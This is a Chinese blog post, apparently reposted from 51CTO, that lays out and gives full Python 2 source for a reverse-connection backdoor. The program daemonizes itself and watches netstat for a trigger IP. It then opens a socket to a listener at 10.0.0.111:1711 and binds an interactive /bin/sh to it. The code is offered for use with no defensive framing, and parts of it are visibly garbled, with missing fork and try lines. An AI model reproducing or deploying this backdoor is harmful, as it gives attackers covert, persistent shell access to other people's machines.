天天看点

python 反向连接后门

1)首先daemon化

2)然后用 netstat命令,检测是否指定的IP(192.168.1.111)连接上,有,则激活

无,则睡眠几分钟(这个时间可根据需要自行调节)

3)激活后,开一个子进程,创建socket,与运行了监听程序的IP进行连接,并执行一个shell,将该

shell的输入输出重定向到socket.

4)父进程则等待 shell子进程的执行,如果执行完毕,就继续 检测

周而复始…

#!/usr/bin/python  

import os  

import sys  

import socket  

import time  

def daemon ():  

    try:  

        pid = os.fork()  

        if pid > 0:  

            sys.exit(0)  

    except OSError, e:  

        print >>sys.stderr, "fork #1 failed: %d (%s)" % (e.errno, e.strerror)  

        sys.exit(1)  

    os.chdir("/")  

    os.setsid()  

    os.umask(0)   

            print "Daemon PID %d" % pid  

        print >>sys.stderr, "fork #2 failed: %d (%s)" % (e.errno, e.strerror)  

        sys.exit(1)   

def shell (host = '10.0.0.111', port = 1711):  

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  

        s.connect((host, port))  

        f = s.fileno()  

        os.dup2(f, 0)  

        os.dup2(f, 1)  

        os.dup2(f, 2)  

        os.execl("/bin/sh", "sh", "-i")  

    except socket.error, (errno, errstr):  

        print "connect error%d\n" % os.getpid()  

        time.sleep(10)  

    sys.exit(127)  

if __name__ == "__main__":  

    daemon()  

    while(True):  

        (cin, cout) = os.popen4("netstat -nt | grep 192.168.1.111")  

        str = cout.read()  

        os.wait()  

        pass 

        if  str != '':  

            print str  

            try:  

                pid = os.fork()  

                if pid > 0:  

                    print 'parent wait:%d\n' % os.getpid()  

                    try:  

                        os.wait()  

                    except OSError, e:  

                        pass 

                else:  

                    print 'ready to connect:%d\n' % os.getpid()  

                    shell()  

            except OSError, e:  

                sys.exit(1)  

        else:  

            print "start sleep 5 mins:%d\n" % os.getpid()  

            time.sleep(10) 

本文转自 ibelieveme 51CTO博客,原文链接:http://blog.51cto.com/skyson/515825,如需转载请自行联系原作者